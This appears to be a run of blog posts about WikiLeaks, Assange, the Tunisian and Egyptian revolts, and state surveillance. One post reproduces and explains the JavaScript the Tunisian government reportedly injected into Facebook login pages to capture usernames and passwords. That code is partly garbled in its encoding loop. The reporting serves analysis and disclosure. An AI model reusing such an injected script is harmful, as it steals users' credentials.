Julian Assange vs David Horowitz

Slavoj Zizek and David Horowitz were the guests for the second episode of Assange’s “The World Tomorrow.” The episode is particularly revealing because Horowitz is essentially maneuvered by Assange to argue his left/right blather in a broader liberty vs authoritarian paradigm. Stripped of the DoubleThink facade, Horowitz’s argument for American Exceptionalism reveals a truly evil underpinning. When Assange points out the perverse US Military propagandistic expropriation of Jefferson’s “Eternal Vigiliance is the Price of Liberty”1–the US Military interprets eternal vigilance to mean a total surveillance State–Horowitz responds with brutal honesty. The human experience is characterized by a condition of total war. Peace can only be achieved by intimidation via a strong State. Would you rather this “strong State” be the US or “our enemies.” Unfortunately, due to subversive efforts of an “international left,” which has undermined the ability of the US to wage total war against its enemies(read: thwarted the military hegemony doctrine promoted by the Neoconservative Project for a New American Century), we now have to live with the necessary consequences of a total surveillance State. When Assange rhetorically asked Horowitz what then limits this type of State, Horowitz essentially shrugs his shoulders and responds with, “nothing.” Assange, the radical libertarian, then interjects that a free market in government is what can limit the State.

If American Exceptionalism continues to be the ruling ideology, the “world tomorrow” will be a scary place.

1 Of course, this phrase is usually erroneously attributed to Jefferson. The more historically accurate attribution would be to credit Wendell Phillips.

Advertisements

WikiLeaks: Bitcoin will be Revolutionary

Wikileaks tweet:

Namecoin and Bitcoin will be revolutionary
http://is.gd/8zKOTT see “Orwell’s Dictum” http://is.gd/2hsOWh

The “dictum” Assange is referring to:
Who controls the past controls the future. Who controls the present controls the past

WikiLeaks + Bitcoin=the weapon…

WikiLeaks Watch 5-12-2011

Unfortunately, due to work requirements, postings on this blog have decreased by a factor of five, from one per weekday, to about one per week. The “WikiLeaks Watch” postings are something that I haven’t had the time to maintain. However, when a bunch of interesting stuff emerges, I will try to take time out to compose a post. Such is the case now.

Assange calls Facebook the most appalling spying machine ever invented

Assange is more or less correct, here. In an earlier post that discussed the subversive political potential of SNP, I noted that SNP was a resilient platform against hard censorship but could be effectively neutered by a maize of soft censorship. If this “soft censorship maize,” and here I referring to (corporate) Political Economy, interfaces their systems and data with (State) Intelligence data mining, then, yes, SNP becomes a dystopian tool. Orwell’s “screens” are simply replaced by the smartphone.

As it stands now, people who their provide their real profile data for a SNP database and who link themselves to other “real profiles” make themselves vulnerable to proto police state tactics. However, given that the US intelligence organs now essentially dwarf anything hitherto in human history, an intelligence symbiosis with the “soft censorship maize” seems inevitable. The only thing that can prevent it is political economic hacking–that is, an offsetting political economy of “leaks.” So, the only thing heartening about this expanding totalitarianism and it’s insider/outsider political economy is that it is also spawning counter institutions, trading in “leaks,” as an offset. One of the sub-themes of this blog is whether to treat technology as utopian or dystopian. The correct answer is that it can be either, meaning, of course, that there is no correct answer.

Julian Assange’s Dialectics

This Assange interview provides perhaps the most extensive exposition of his political views. This interview is much more abstract and “cyberpunkish” than the Forbes one. A concise synopsis would be a “political dialectic” grounded in Neils Bohr rather than Hegel…the abstraction of the “quantum jump” applied to a “change in state”(reform) of political institutions. Censorship represents an “opportunity,” or an economic signal, that signifies that the institution is sufficiently unstable to be susceptible to a “quantum jump.” To paraphrase an earlier post of mine, the entrepreneur as “valence electron.”

Assange indicates that he is influenced by a libertarian temperament but not the libertarian political tradition directly. By this, he more or less means that he is more influenced by the libertarian attitude regarding the relationship between the individual and the state rather than, say, Proudhon’s or Kropotkin’s view of property, or libertarianism’s vast literature on institutional alternatives.

Assange views a regime that does not practice “hard censorship” to be immune from the “quantum jump,” or reform. He seems to equate this with a condition of total soft censorship. In the “Bohr Dialectic,” this would be an example of an “inert gas.” Here, however, I think libertarians would object with equating “de-politicization” with a Political Economy of total soft censorship. It could be conceptually argued and empirically demonstrated that a Political Economy of total soft censorship would not be a condition of “free speech.” Easily and trivially provable if we consider “commercial speech” to be speech, which is necessary if you concede the existence of the market.
Then the “Black Market” is easy refutation. With “soft censorship,” you can “debate” legalization of drugs without being arrested; but if you try to sell them on a street corner, you will be arrested. This is censorship. This creates an “opportunity,” an “economic signal,” that leads to a black market. There’s actually a faction within libertarianism, called “agorism”(which I do not subscribe to, btw), that relies on this type of censorship signalling to institutionally supplant the State.

In an actual de-politicized institutional setting, you would not have a black market, or at least not much of one. And, having studied physics in college, I would say that something like the Double-Slit experiment with light perhaps has philosophical value in knocking down something like Randian objectivism, but I wouldn’t rely on Quantum Mechanics for my political dialectics.

The Revolution will have a Confidentiality Agreement

The corporate/mainstream will delight in this supposed hypocrisy of the WikiLeak’s confidentiality Agreement. Of course, it could only be tangentially construed as hypocrisy if Assange were claiming to be the thing he is typically portrayed as: some transparency activist. He is not. He is an entrepreneur, a thing I’ve been harping on on this blog for some time. By entrepreneur, I don’t mean the Washington post definition, I mean the actual historical definition: an agent who identifies an opportunity and takes full responsibility for the outcome. In this case, we are talking about an agent who strives for a particular objective by acting as an intermediary between “leaker” and “publisher.”

It should be noted that WikiLeaks initially attempted to rely on SNP for editorial context and distribution. It didn’t work. At that point, the “activist” must become the entrepreneur. If you observe the “snakes” in corporate media, you would understand why a confidentiality agreement would be a requirement. More from WikiLeaks Central.

The Spy who Re-Elected Me

Assange’s accusations that the US Government was planning a grand jury indictment for Espionageturned out to be true. Here we have a “soft censorship” power overtly pursuing the path of hard, hard censorship. There is no doubt that this creates great new opportunity in the political economy of leaks. But does it mark a “reform opportunity for the United States”? I would say it marks an opportunity to break US oligarchy worldwide, but I’m not so sanguine about it being a signal for internal reform. This would end badly for us…

Revolutionary Wave: the Crack in American Exceptionalism

A spectre is now haunting Northern Africa and the Middle East–the spectre of the collapse of the American-aligned Arab Nation State. What started from a single act of self-immolation by a fruit stand operator in Tunisia has now metastasized into a full-blown revolutionary wave that has spread to Algeria, Egypt, Jordan and Yemen. Ben Ali has already exited to Saudi Arabia and Mubarak may now follow. If Mubarak goes, expect the gated cul de sac community of former dictators in Riyadh to grow.

The US Political class reaction, as one would expect, has been dissonant. Two days ago, the official talking points of the Obama Admin were expressed by Hillary Clinton and Joe Biden.

Clinton

“Our assessment is that the Egyptian Government is stable and is looking for ways to respond to the legitimate needs and interests of the Egyptian people.”

Is Mubarak a dictator? Joe Biden

“No. I think the time has come for President Mubarak to begin to move in the direction that – to be more responsive to some… of the needs of the people out there.”

Now the talking points have changed. The New Talking Points are that Obama has been secretly ahead of this issue for two years. Wikileaks cables are now appearing that suggest that the US has been providing material support to pro-democracy groups in Egypt. The Washington Post, the leading establishment cheerleader on the point that the Wikileaks cables have never provided anything new, is now suddenly promoting the WikiLeaks Egyptian Cables. Of course, there is news that Egyptian police are using U.S.-made tear gas against the demonstrators. And the US annually funds 1/3 of the Egyptian military budget–the same military that would be used in a crack down.

In the US, there is a certain irony that this Revolutionary Wave, full of “anti-government rhetoric,” follows on the heels of our own establishment political class ranting against the evils of anti-government rhetoric–it threatens civility, the established order, and it portends violence against the Political Class. The irony just thickens the air with more choking cognitive dissonance that is already replete with it. Wikileaks is now good. But we are nonetheless torturing a US Soldier to turn on Julian Assange so he can be extradited to the US for espionage. The US now claims that the Egyptian government’s control of telecommunication services abridges fundamental, universal rights, but Hactivist Anonymous, attempting an old school circumvention of these controls with respect to the Egyptian context, is being hunted down in the US by the FBI and DHS.

One of the more absurd things is the attempt by neoconservatives to expropriate the Revolutionary Wave as validation. What a brazen attempt to rewrite their history and intellectual intent. The Revolutionary Wave is threatening American-aligned Arab States. Neoconservative doctrine called for the explicit use of “benevolent US Military hegemony” to force a “democratic pro-American re-alignment” of non-American aligned Arab or Muslim states. The primary motivations were the security of Israel and the security of petroleum production. The “Domino Effect” was supposed to topple Iraq, Syria, Iran, Lybia, etc and install a pro-American aligned government in Palestine. It was not meant to topple Egypt, Jordan, Saudi Arabia, etc. The Revolutionary Wave is actually a repudiation of Neoconservative doctrine, and in particular, American Exceptionalism. The likes of Elliott Abrams instead try to pin this on the failure of “Arab Exceptionalism.” I don’t think so.

In historical context, the modern Arab State has it’s origins in the post WWI European partitioning of the old Ottoman Empire that resulted in a patchwork of territorial protectorates under the colonial thumbs of the European powers, particularly Britain and France. Post WWII signified the end of this colonial rule, meaning these “protectorates” became more or less independent states. Some, like Egypt, overthrew their monarchies and established a more “western” conception of a State. But this “independence” was relatively short-lived. Most, in the end, would become either Soviet or American “client States. This was the “cold war.”

Egypt, for example, became more or less a Soviet-client under Nasser but then, under Sadat, flipped to the US. After the assassination of Sadat, Mubarak would continue Egypt’s status as an American-client State.

Iraq, interestingly, was an example of an Arab State that actually never was either a Soviet or American Client State. It played both off each other. But it’s invasion of Kuwait, which threatened the US’s crown jewel Arab Client State, Saudi Arabia, triggered the Bush I “New World Order,” which was international sanction of US hegemony in the Middle East. It signaled the end of the cold war. The Soviet Union would soon be done. But Iraq actually didn’t topple. And there were still former Soviet-client States(e.g, Syria), that needed to be re-aligned. So, enter the Neoconservatives who viewed Iraq as the catalyst in a Domino theory to trigger full US alignment.

But US Military hegemony in the Middle East has ended up triggering a different sort of “domino effect.” The Revolutionary Wave is a revolt against the corrupt oligarchy of American-aligned regimes.

“Stability” is the buzzword, but I would suggest a more accurate term: “resiliency.” How resilient now is the DoubleThink of American Exceptionalism?

Social Network Platforms and Subversive Politics

Jesse Walker at Reason expresses skepticism concerning the branding of the Tunisian Revolution as a WikiLeaks Revolution.

I noted yesterday that some pundits have been calling the Tunisian revolt a “WikiLeaks revolution.” The phrase “Twitter revolution,” last spotted wandering around Tehran in a daze, has made a comeback as well. So now we’re in for a big boring debate about whether these boosterish labels fit, an argument that threatens to overshadow some much more interesting questions. The Internet is a series of tools. Some of those tools were used in Tunisia. I’d love to see some detailed investigations of how they were used, how they affected the use of older tools and tactics, how they advanced and/or held back the struggle, and how the regime responded to them. Debating whether their presence makes this a “[fill-in-the-blank] revolution,” by contrast, seems pointless.

Yesterday, I engaged in some bit of punditry that used the term “WikiLeaks Revolution.” Regarding Tunisian politics, I readily concede that I am an armchair blogger. However, I was careful to base my statements on journalists who could give an eyewitness account. In the post, I referenced an article in Foreign Policy Journal by Yvonne Ridley.

The demise of Ben Ali came when police prevented an unemployed 26-year-old graduate from selling fruit without a license. Mohammad Bouazizi turned himself in to a human torch on December 17 and died of the horrific burns in Sidi Bouzid, in central Tunisia.

It was the final straw, a defining moment which ignited rallies, marches and demonstrations across Tunisia.

And revelations from Wikileaks cables exposing the corrupt and extravagant lifestyle of Ben Ali and his grasping wife fanned the flames of unbridled anger from a people who were also in the grip of poverty.

I knew it was coming. I saw the burning desire for freedom in the eyes of the courageous people of Ghafsa when the Viva Palestina Convoy entered the country in February 2009 on its way to Gaza.

Our convoy witnessed the menacing secret police intimidate the crowds to stop them from gathering to cheer us on.

This vast army of spies, thugs and enforcers even tried to stop us from praying in a local mosque.

That they stood their ground to cheer us on prompted me to leave my vehicle and hug all the women who had turned out. We exchanged cards and small gifts and then, to my horror, I discovered 24 hours later that every woman I had embraced in the streets of Gafsa had been taken away and questioned.

The broader context that brewed the revolution was a police state apparatus protecting a corrupt political economy. The trigger was an act of self-immolation by an unemployed recent university graduate who was robbed of his only means of supporting himself. The WikiLeaks cables were a catalyst.

Now on matters of internet technology I’m not so much of an armchair blogger. I can do my own investigative reporting. Now I do have quite bit of skepticism regarding the intersection of technology and subversion politics. A lot of hype. There is even more hype regarding “social networking” and subversion politics. Things like “Twitter Revolution.”

The first thing to point is to be careful about conflating WikiLeaks with social networking platforms. WikiLeaks is document-sourced journalism. The “Social Networking Platform” actually failed as a means of document-sourced investigative reporting. I’ve pointed this out several times before, and I’m only pointing out what Assange himself has emphasized on several occasions. So, immediately there is a limitation to the Social Networking Platform when it comes to subversion politics. WikiLeaks relies on traditional media institutions both to provide editorial context and to serve as a distribution source.

Now the Tunisian government, however, most certainly viewed the Social Networking Platform as a threat. Here’s a post from last July by technically knowledgeable Tunisian citizen documenting how the Government was collecting social networking platform credentials of it’s citizens. At the time, this would be appear to have been some type of an official DNS cache poisoning/Phishing attack. The Tunisian Internet Agency(ATI) is the upstream provider for all Tunisian ISPs. Certainly, then, from a technical standpoint, it would have been feasible. However, the blogger notes that the attacks occurred only intermittently so as to not arouse too much suspicion.

With the latest revolt, the Tunisian government, via the ATI, resorted to more sophisticated methods of “Phishing.” From Aljazeera, Tunisia’s bitter cyberwar, we learn that ATI was injecting javascript code into Social Networking Platform login pages that intercepted the user login and used AJAX “Get” requests to send user credentials in clear text over the wire. I investigated this, and at least with respect to Facebook, I could see how this attack could work.

The hackivist “Anonymous” posted the HTML source for the Facebook login here. Below is the “phishing code” that was apparently being injected by ATI.


function h6h(st){var st2="";for(i=0;i>4;cl=c&0x0F;
st2=st2+String.fromCharCode(ch+97)+String.fromCharCode(cl+97);}return st2;}
function r5t(len){var st="";for(i=0;i<len;i++)st=st+String.fromCharCode(Math.floor(Math.random(1)*26+97)); return st;}
function hAAAQ3d() {
var frm = document.getElementById("login_form"); var us3r = frm.email.value; var pa55 = frm.pass.value;
var url = "http://www.facebook.com/wo0dh3ad?q="+r5t(5)+"&u="+h6h(us3r)+"&p="+h6h(pa55); var bnm = navigator.appName; if(bnm=='Microsoft Internet Explorer') inv0k3(url); else inv0k2(url);}
function inv0k1(url) {var objhq = document.getElementById("x6y7z8"); objhq.src = url;}
function inv0k2(url) {var xr = new XMLHttpRequest(); xr.open("GET", url, false); xr.send("");}
function inv0k3(url) {var xr = new ActiveXObject('Microsoft.XMLHTTP'); xr.open("GET", url, false); xr.send("");}

In the “form tag” of the html, an onsubmit client event, “onsubmit=’hAAAQ3d()’,” was also being injected that would trigger the phishing code. It’s fairly simple in operation. A user login would also trigger a client onsubmit event handler, which is the function “hAAAQ3d().” This function uses the Document DOM model to capture the username and password. It then passes each to a function “h6h” that uses string manipulation for a very weak encryption. It then builds a “url string” with the weakly encrypted username and password in the querystring. It then uses the XMLHttpRequest object(or the MS ActiveXObject version in the event of Internet Explorer) to pass this url in a client-side , synchronous AJAX Get Request. The actual url, of course, on the Facebook side(for browser cross-domain security reasons, the domain in the url must be facebook.com) doesn’t exist. The intent is to pass the url, the url with the username and password in the querystring, in clear text over the wire that can then be captured by ATI.

“Anonymous” posted a GreaseMonkey script for FireFox that stripped the “phishing script” from Social networking platform login pages. EFF issued a Security Bulletin on Jan. 11th that highlighted the “phishing attempts.” From all accounts, the “phishing attempts,” or at least attempts by this particular method, had ceased by Jan. 11th or Jan. 12th.

Hactivist “Anonymous” also participated in DDoS attacks against Tunisian government websites that were successful. But as I have noted in previous “WikiLeaks Watch” posts, Anonymous/AnonOps uses IRC(Internet Relay Chat) to organize participants in this endeavor. And IRC has been around forever.

For all you Gen Y types out there; IRC and UseNet was to Gen X as the Social Network Platform is to Gen Y. The difference between the two “platforms” is that the SNP has a better API, with regard to web and particularly with regard to today’s ubiquitous mobile devices. It’s an evolution. But a revolution? That’s debatable.

The lesson from regarding SNP and the Tunisian government is that SNP can be quite resilient against “technical attacks.” It’s importance in the Tunisian revolution was magnified because it was attacked by the Tunisian government. That was a mistake. But the Ben Ali regime is not the US Government. The US Government can ex post facto condemn the crude “censorship” of the Ben Ali regime while working methodically behind the scenes to capture the political economy of SNP. We have already seen this with respect to WikiLeaks and the financial banking system. Cutting off means of financial support is a far more subtle and far more powerful means of censorship.

“Anonymous” is a hero when it attacks the crude, technical censorship of the Ben Ali regime. But it’s criminal when it attacks the political economy of US censorship.

As I maintain, and will continue to maintain, a political hack must be at the heart of undermining the statist 21st century political economy. Technical utopianism isn’t going to cut it alone. For example, Peter Thiel’s supposed libertarian e-money transaction system(PayPal) ended up being politically captured and now is a powerful component of SNP soft censorship.

SNP that can reinforce a political hack(s) has the potential to be revolutionary. But without the political hacks, it is only evolutionary, and the evolutionary path would be more along the lines of human social fitness for the Orwellian Boot. To the extent that SNP does threaten to become revolutionary, you can bet the mainstream babble about “Twitter Revolution” will change in tone.

Tunisia: “The First WikiLeaks Revolution”

Unfortunately, I haven’t been keeping up with the news the past week because I’ve boycotted the cultural war “24 hours of hate” propaganda being broadcast by the largely Pravda American media. So, I missed out on the rapid developments via a vis the Tunisian revolution until after the fact. Here are the apparent facts: a revolt triggered by an unemployed university graduate who set himself on fire as a form of suicidal protest after the Tunisian government seized his “fruit stand,” which was his only means of support, for selling fruit “without a license,” has now metastasized into a full-blown revolution. The Tunisian dictator,Zine El Abidine Ben Ali, has now fled the country for political sanctuary in Saudi Arabia.

The rapid pace of revolutionary events in Tunisia has been attributed to WikiLeaks casting sunlight(or gasoline, if you prefer; I will leave it up to the reader to choose the more appropriate noun) on the utterly corrupt Tunisian Political Economy. Hillary Clinton’s attempt to save the Ben Ali regime by faxing Ben Ali a copy of the quintessential Bill Clinton stand-by, “I Feel Your Pain” speech, unfortunately, for the American State Department, failed to save the day.

While American politicos swooned over Obama’s ‘Unity of Purpose of the Political Class’ speech in Tuscon, foreign activist/journalists, who actually have to grapple with empirical reality of the American Political Class, take a bit of a different view regarding the “enhancement of Obama’s Serious Presidential Material.”

From Foreign Policy Journal

Human rights organizations have constantly condemned and exposed the brutality of the Ben Ali regime but that has not led America and European leaders to intervene or put pressure on the regime to stop the brutality.

Sadly, it serves western interests to have a people brutalized and subjugated.

Now Tunisia is minus one dictator but it is still in a state of emergency. The next few days and weeks are going to be crucial for the Tunisian people who deserve freedom and liberty. My God, they’ve paid for it with their own blood and we must always remember their martyrs.

None of the politicians, secret police or other odious government forces will emerge from this period with any honor and quite a few are already cowering in the shadows.

But perhaps the biggest show of cowardice in this whole sorry episode has come from The White House.

Not one word of condemnation, not one word of criticism, not one word urging restraint came from Barak Obama or Hillary Clinton as live ammunition was fired into crowds of unarmed men, women and children in recent weeks.

And news of the corrupt, mafia-like regime would not have come as a surprise to either of them. We know this thanks to the Wikileaks cables written by US Ambassador Robert Godec who revealed in one memo: “Corruption in the inner circle is growing.”

But, as the injustices and atrocities continued there was not one squeak from the most powerful nation on earth … until America’s dear friend, Ben Ali had scuttled from the country.

The reality is the US Administration likes dealing with tyrants and even encourages despotic behavior. Egypt is one of the biggest testaments to this with its prisons full of political opposition leaders. Hosni Mubarak is Uncle Sam’s enforcer and biggest recipient of aid next to the Zionist State.

Pakistan’s treatment of its own people is little better. Remember when US Ambassador Anne Patterson in Islamabad wrote in one Wikileaks cable about the human rights abuses carried out by the Pakistan military? Patterson then went on to advise Washington to avoid comment on these incidents.

But now the US has made a comment on the situation in Tunisia … but only when Ben Ali was 30,000 feet in the air did White House spokesman Mike Hammer issue a statement which read: “We condemn the ongoing violence against civilians in Tunisia, and call on the Tunisian authorities to fulfill the important commitments … including respect for basic human rights and a process of much-needed political reform.”

Unbelievable. Too little, too late, Mr President. Actually that statement could have been uttered any time during the last US presidencies since Ronald Reagan.

But as I say, America couldn’t give a stuff about the human rights of the people of the Maghreb, Pakistan, Egypt and Palestine to name but a few.

WikiLeaks and defiant direct action accomplished in one week what a decade of military intervention by the US in the Middle East could not. Of course, this paradox is only a paradox if you under the delusion that American Imperialism serves the interests of “democracy.”

And now you why the American media class has not embraced “WikiLeaks.” This supposed “conundrum ” is about as much a puzzle as why Ben Ali didn’t embrace Wikileaks. It threatens the Status Quo; indeed, it makes a mockery of the Status Quo. For those who continue to maintain that Wikileaks “tells us nothing new” and is thus inconsequential, the comedy is becoming Monty Python absurd. But Monty Python is for cynical adults. It takes a child to see it as a Hans Christian Andersen morality play: those trillions the Emperor spent on his new clothes meticulously weaved for decades by the “best tailors” bought nothing but a birthday suit.

Finally, there are media reports that the hacktivist “Anonymous” may have played a role in the revolution via it’s “Operation Tunisia”: (1) DDoS attacks against Tunisian government websites (2) aiding Tunisian dissidents/activists to protect their online anonymity with respect to using “social media” channels for communication.

I will look into these claims and will file a report in my next edition of “Wikileaks Watch.”

WikiLeaks Watch 12/30/2010

Most of the recent noteworthy news centers around the Greenwald-Wired Debate. This is not an easily deconstructable debate. The latest flare-up originates from a Charlie Savage piece in the NY Times that used Adrian Lamo as a source in detailing how the Justice Department is trying to build a case against Assange sans the 1917 Espionage Act. That angle would rely more on charging Assange of conspiracy as “Mendax” under something like the “The 1986 Computer Fraud and Abuse Act.” This angle would require that Assange was instrumental in either providing technical assistance to Manning to hack the necessary access to the documents or had “social engineered” Manning to use his own security clearance to do so.

Savage, in his story, indicated that the sections where Manning had detailed his contacts with Assange could not be verified in excerpts released by “Wired” and that Lamo could not provide the full chat transcript for independent verification because the F.B.I. had since taken his hard drive of his computer which contained the logs.

Greenwald attacked Savage and the NY Times for publishing this story without verifying Lamo’s claims with hard evidence and then asked Wired to publish a story to verify or discount Lamo’s claims in the NY Times piece based on their full possession of “the hard evidence.” When Wired declined to respond to Greenwald, Greenwald then published a broadside against the journalistic ethics of Wired. Wired responded by claiming that the specifics mentioned in Savage’s piece, particularly the secure FTP access to a server provided to Manning to upload his documents to, had already been disclosed in their published excerpts and that what they had not published had no relevance to the Savage piece; the decision not to publish the entire logs was related to protecting the privacy concerns of both Manning and Lamo on matters that had no relevance to the legal case at issue. Wired’s decision not to publish the full transcripts has drawn criticism from many and includes speculation that they have been perhaps served a Patriot Act National Letters restriction.

My opinion on the matter, FWIW. The transcripts implicate Manning(NOTE: also establishing he would be a hero from an ethical and libertarian justice perspective), but they actually exonerate Assange. You can’t charge Assange as Mendax when Manning had the security clearance to access the documents. There was no hacking involved, period. “Hacking,” in this context, would pertain to “engineering” elevated, unauthorized security access to system resources. Not the case here. You also cannot charge Assange for being a “SysAdmin” of his own systems in giving Manning authorized, elevated access to his own systems for him to upload his documents to. Finally, the published transcripts establish that Manning was well-motivated on his own, and that there was no “social engineering, ” or trickery involved in convincing Manning to use his own security access to hand over documents. “The 1986 Computer Fraud and Abuse Act” utterly fails when it comes to Assange.

Another point. Lamo’s “transcripts” would be worthless unless they were recorded by him acting as an agent in a government operation. And, in such a case,(mind you, a potential National security espionage case), it stretches any credibility to think that such “evidence” would not only be turned over to Wired and the Washington Post but also to the primary investigative target, Julian Assange. Yes, the same logs would be turned over later to Wikileaks by Lamo, at the request of Assange who wanted them to assist in his defense.

Another point to consider is just how much of a “lame” hacker Lamo would be by failing to back-up and encrypt his “logs” onto additional media storage devices, particularly given the magnitude of the case and the fact that he was passing them out like candy to media organizations. The FBI “seized” his hard drive is pretty lame.

Kevin Poulsen, in his rebuttal to Greenwald, took offense to any reference to his hacker past. But I would suggest that the whole case against Manning reeks of the hacker-government nexus in the political economy that has built up around computer security. In other words, it was a “snitch operation” by Lamo who used his contacts within this nexus to allow these “chat transcripts” to be taken seriously within the government apparatus. Perhaps enough to get at Manning but not enough to get at Assange.

There is investigative journalism to be had here, but it’s not going to come from Wired.The most potent criticism of Wired’s “Threat Level” and Paulsen is that the “threat” is the political economy of computer/network security. But you are not going to read that there.